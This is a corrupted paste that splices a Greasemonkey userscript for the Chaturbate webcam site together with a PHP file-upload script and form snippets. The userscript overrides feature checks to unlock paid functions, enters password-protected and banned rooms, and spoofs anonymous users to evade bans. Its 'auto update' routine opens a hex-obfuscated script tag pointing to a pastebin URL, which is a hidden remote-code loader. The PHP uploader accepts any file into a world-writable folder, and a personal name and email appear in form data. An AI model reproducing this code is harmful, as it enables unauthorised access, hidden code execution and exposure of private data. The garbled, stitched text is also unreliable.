  220. 163."; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  221.  
  222.  
  223. 164.Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  224.  
  225.  
  226. 165.Enter the name of the user you want to locate:
  227.  
  228.  
  229. 166.'; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  230.  
  231.  
  232. 167.'+msg3.substring(20)+'
  233.  
  234.  
  235. 168.'}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  236.  
  237.  
  238. 169.'+msg3.substring(20)+'
  239.  
  240.  
  241. 170.'}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  242.  
  243.  
  244. 171.'+msg3+'
  245.  
  246.  
  247. 172.';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  248.  
  249.  
  250. 173.
  251.  
  252.  
  253. 174."; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  254.  
  255.  
  256. 175.
  257.  
  258.  
  259. 176."; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  260.  
  261.  
  262. 177.' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  263.  
  264.  
  265. 178.' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  266.  
  267.  
  268. 179.
  269.  
  270.  
  271. 180.
  272.  
  273.  
  274. 181.Shoutbox
  275.  
  276.  
  277. 182.
  278.  
  279.  
  280. 183.'; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932. username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934. for (i=0; i) if original is script=script.replace..with..both..script..uploaded, //< ? php $numoffile = 5; // Fix path of your file to be uploaded, (CHMOD 777) to (CHMOD 7777 ) TO this folder $file_dir = "/home/webs/dmonster.com/subdomain/files/"; if ($_POST) { for ($i=0;$i0) ("window.location.reload()","return"); //< ? php $numoffile = 5; //
  281.  
  282.  
  283. RAW Paste Data
  284.  
  285. https://chaturbate.com/affiliates/in/?tour=Jrvi&campaign$username=&track=zM6MR&embed&room&amp;=https://chaturbate.com/affiliates/in/?tour=Jrvi&campaign$usernames.join=&track=zM6MR&embed&room&amp;=$usernames.join&room&amp;=jimgreenobigcock&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=600 width=800 style='border: none;_$redirect_domain/https://chaturbate.com/embed//_/?join_overlay=1&campaign=$usernames.join&amp;=embed_video_only=0&disable_sound=1&bgcolor=transparent&tour=Jrvi&target=_parent%22++class%3D%22embe&room=$usernames.join(','));< ? php $numoffile = 5; //    $file_dir = "/home/webs/dmonster.com/subdomain/files/";
  286.     if ($_POST)
  287.     {$file_dir =
  288.         (CHMOD 7777)=$file]
  289.    
  290.       for ($i=0;$i<$numoffile;$i++)
  291.       {
  292.         if (trim($_FILES['myfiles']['name'][$i])!="")
  293.         {
  294.           $newfile = $file_dir.$_FILES['myfiles']['name'][$i];
  295.           move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile);
  296.           $j++; > <$object type=($_FILES"application)/["x-shockwave-flash"] ;[$i];
  297. //====================================================================
  298. id="xmovie" name="movie" align="middle" data="/static/flash/CBV_2p670.swf" width="100%" height="100%"><param name="allow["ScriptAccess"] value="always"><param name="[allowFullScreen" ]value="true"><param name="quality" value="high"><param name="wmode" value="opaque"><param name="id" value="movie"><param name="scale" value="noborder"><param name="FlashVars" value="pid=&$username&amp;address=edge52.stream.highwebmedia.com&amp;language=/xml/viewer.xml&amp;mute=1&amp;pr=login_required_true_if_loggedin&amp;sa=0&amp;uid=AnonymousUser&amp;jg=$.mydefchatconn('join_group_show')&amp;jp=$.mydefchatconn('spy_on_private')&amp;js=registration_required()&amp;elu=https://ssl-ccstatic.highwebmedia.com/images/flashwatermark.png&amp;dom=&amp;pw=anonymous&amp;rp=46deafa876ea6eee640651f116275e959dc79505936d916ffb1513fb6d8616d2&amp;tv=100&amp;cv=100&amp;headless=0&amp;auth=%7B%22$usernames.join%22:%22s%22__anonymous__TnR0tGd%22,%22org%22:%22PHX%22,%22expire%22:1505497637,ig%22:%221cba885a76d6252e5943865d6d81f65397d3f18c6a1e0fdcf3431d34a0c8ac4d%22,%%22room%22:%22$usernames.join%22%7D&amp;flash_debug=0"></object> }
  299.  
  300.       }
  301.     }
  302.     if (isset($j)&&$j>0) print "Your file(s) has been uploaded.
  303. ";
  304.     print "< form method='post' enctype='multipart/form-data'>";
  305.     for($i=0;$i<$numoffile;$i++)
  306.     {
  307.       print "< input type='file' name='myfiles[]' size='30'>
  308. ";
  309.     }
  310.     print "< input type='submit' name='action' value='Upload'>";
  311.     print "< / form>";
  312. //load=</ form>=================================================<div(function() {$('test').fade('out');}).delay(1000);//confirmPassword must match password
  313. var errorBox=document.getElementById("error");
  314. var errorText=document.getElementById("error2");
  315. var pass2=document.getElementById("password2");
  316. var pass1=document.getElementById("password1");
  317.  
  318. pass2.onchange = function() {
  319.     if (pass2.value !== pass1.value) {
  320.         pass2.style.border="2px solid red";
  321.        errorText.innerHTML="Passwords do not match!";
  322.        errorText.style.color="red";
  323.        //errorBox.style.height="40px";
  324.        //errorBox.style.visibility="visible";
  325.        //errorBox.innerHTML="<p>Passwords do not match!</p>";
  326.         return false;
  327.     }
  328.    else {        
  329.        pass2.style.border="2px solid #B5DCF7";
  330.        errorText.style.color="green";
  331.        errorText.innerHTML="Passwords match!";
  332.        return true;
  333.    }
  334. };
  335. //================================================================ #test {
  336.    width: 100px;
  337.    height: 100px;
  338.    background: #ffb;
  339.    padding: 10px;
  340.    border: 2px solid #999;
  341. }
  342. //===============================================form Validation /.container -->/.
  343. First Name:
  344. james
  345.  
  346. Last Name:
  347. greeno
  348.  
  349. Email:
  350. jimgreeno81@gmail.com
  351.  
  352. Password:
  353. •••••••••••
  354.  
  355. Confirm Password:
  356. •••••••••••
  357. Passwords match!
  358.  
  359. Sex:   Male  Female
  360.  
  361. Quantity:
  362.  
  363.  
  364.  1    2    3    4    5    6
  365.  
  366. Interests (select all that apply):
  367. This  That  Other
  368.  
  369. Hayo!
  370. //========================================================<!-- /.container -->
  371.  
  372.  
  373. //< ? php $numoffile = 5; // Fix path of your file to be uploaded, CHMOD 7777 to  this folder $file_dir = "/home/webs/dmonster.com/subdomain/files/"; if ($_POST) { for ($i=0;$i0) print "Your file(s) has been uploaded. "; print "< form method='post'   enctype='multipart/form-data'>"; for($i=0;$i "; } print "< input type='submit' name='action'     value='Upload'>"; print "< / form>"; ? >
  374. //==UserScript==//==//=====================================================
  375. 1.1. 2. 3.2. // ==UserScript== 4. 5. 6.3. // @name chaturbate 7. 8. 9.4. // @version 1 10. 11. 12.5. // @namespace chaturbate 13. 14. 15.6. // @description chaturbate 16. 17.7. // @include http://*.chaturbate.com/*/ded/?-_js./embed_js.php? 18. 19.8. // @include http://*.chaturbate.com//api/getchatuserlist/? 20. 21.9. // @include http://chaturbate.com/* 22. 23. 24.10. // @exclude http://serve.ads.chaturbate.com/* 25. 26. 27.11. // @run-at document-start 28. 29. 30.12. // @grant GM_getValue 31. 32. 33.13. // @grant GM_setValue 34. 35. 36.14. // @grant GM_addStyle 37. 38. 39.15. // @grant GM_xmlhttpRequest 40. 41. 42.16. // ==/UserScript== 43. 44. 45.17. 46. 47. 48.18. scversion = 16.7; 49. 50. 51.19. flashplayer = "/static/flash/CBV_2p640.swf"; 52. 53. 54.20. 55. 56. 57.21. //===================== 58. 59. 60.22. // if you see this text then save the file as *- newchaturbate.user.js -* 61. 62. 63.23. //after saving open it inside chromeµsoft edge & and install it. 64. 65. 66.24.============ ==//======================================================= 67. 68. 69.25. // 70. 71. 72.26. //==========================================73. 74. 75.27.===== //====================ONLY FOR CHROME&MICROSOFT EDGE WITH =======================GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< 76. 77. 78.28. // ==================DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!===================== 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all ======================advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. 